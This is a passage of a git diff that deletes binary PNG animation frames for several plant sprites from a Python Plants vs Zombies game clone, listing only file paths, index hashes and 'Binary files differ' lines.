Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_1.png deleted file mode 100644 index 74905bd15ca..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_10.png deleted file mode 100644 index 010a1ecb4cd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_2.png deleted file mode 100644 index 6c95fa76f6e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_3.png deleted file mode 100644 index 5056db3898a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_4.png deleted file mode 100644 index fe0a875f499..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_5.png deleted file mode 100644 index 7038061a7eb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_6.png deleted file mode 100644 index 9e82862b70b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_7.png deleted file mode 100644 index 7d48bac547a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_8.png deleted file mode 100644 index 909279414d6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_9.png deleted file mode 100644 index 559ed0b0e15..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_0.png deleted file mode 100644 index 6e398909f39..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_1.png deleted file mode 100644 index ba8158c703e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_10.png deleted file mode 100644 index 17b5e26a97f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_11.png deleted file mode 100644 index 7a0d8a7d860..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_12.png deleted file mode 100644 index 4a22fa48733..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_13.png deleted file mode 100644 index 0dfe78cdc2a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_14.png deleted file mode 100644 index 0dfe78cdc2a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_15.png deleted file mode 100644 index a5fdf456813..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_2.png deleted file mode 100644 index 3a58f4de3b0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_3.png deleted file mode 100644 index b64c287c814..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_4.png deleted file mode 100644 index a694ff1cf7d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_5.png deleted file mode 100644 index 23faef2d108..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_6.png deleted file mode 100644 index 6d07b15cd7d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_7.png deleted file mode 100644 index ed7680ba823..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_8.png deleted file mode 100644 index 88a3aac155b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_9.png deleted file mode 100644 index 17b5e26a97f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomSleep/ScaredyShroomSleep_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_0.png deleted file mode 100644 index 883e3b8bf13..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_1.png deleted file mode 100644 index 528a5deee22..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_10.png deleted file mode 100644 index f5f3f8045cd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_11.png deleted file mode 100644 index c3afa8a3191..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_12.png deleted file mode 100644 index 8683329f9f0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_13.png deleted file mode 100644 index 89b582c5a81..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_14.png deleted file mode 100644 index feec31f68c2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_2.png deleted file mode 100644 index 09ad5050d93..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_3.png deleted file mode 100644 index 35e70cd98b1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_4.png deleted file mode 100644 index e3dc09bdd69..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_5.png deleted file mode 100644 index c527948b5e0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_6.png deleted file mode 100644 index c527948b5e0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_7.png deleted file mode 100644 index a814f7f62ae..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_8.png deleted file mode 100644 index 37577dd5517..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_9.png deleted file mode 100644 index a38b89fd7db..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SnowPea/SnowPea_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_0.png deleted file mode 100644 index 5dcf98b9c91..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_1.png deleted file mode 100644 index 5dcf98b9c91..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_10.png deleted file mode 100644 index 6b4e40488be..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_11.png deleted file mode 100644 index 4a0d0a2ddc2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_12.png deleted file mode 100644 index 68af8f12dc3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_13.png deleted file mode 100644 index dcd5057d1a0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_14.png deleted file mode 100644 index faa36dd1516..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_15.png deleted file mode 100644 index 09baa2171fc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_16.png deleted file mode 100644 index abb3c8cd4ae..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_17.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_17.png deleted file mode 100644 index bc2817aefc5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_17.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_18.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_18.png deleted file mode 100644 index 20e391d293f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_18.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_2.png deleted file mode 100644 index a2fa02e8e98..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_3.png deleted file mode 100644 index a2fa02e8e98..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_4.png deleted file mode 100644 index afbbf65b49f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_5.png deleted file mode 100644 index 88e5770e06d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_6.png deleted file mode 100644 index eed8160e910..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_7.png deleted file mode 100644 index acd491f3e7f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_8.png deleted file mode 100644 index acd491f3e7f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_9.png deleted file mode 100644 index 6b4e40488be..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Spikeweed/Spikeweed/Spikeweed_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_0.png deleted file mode 100644 index b6284ae1bc8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_1.png 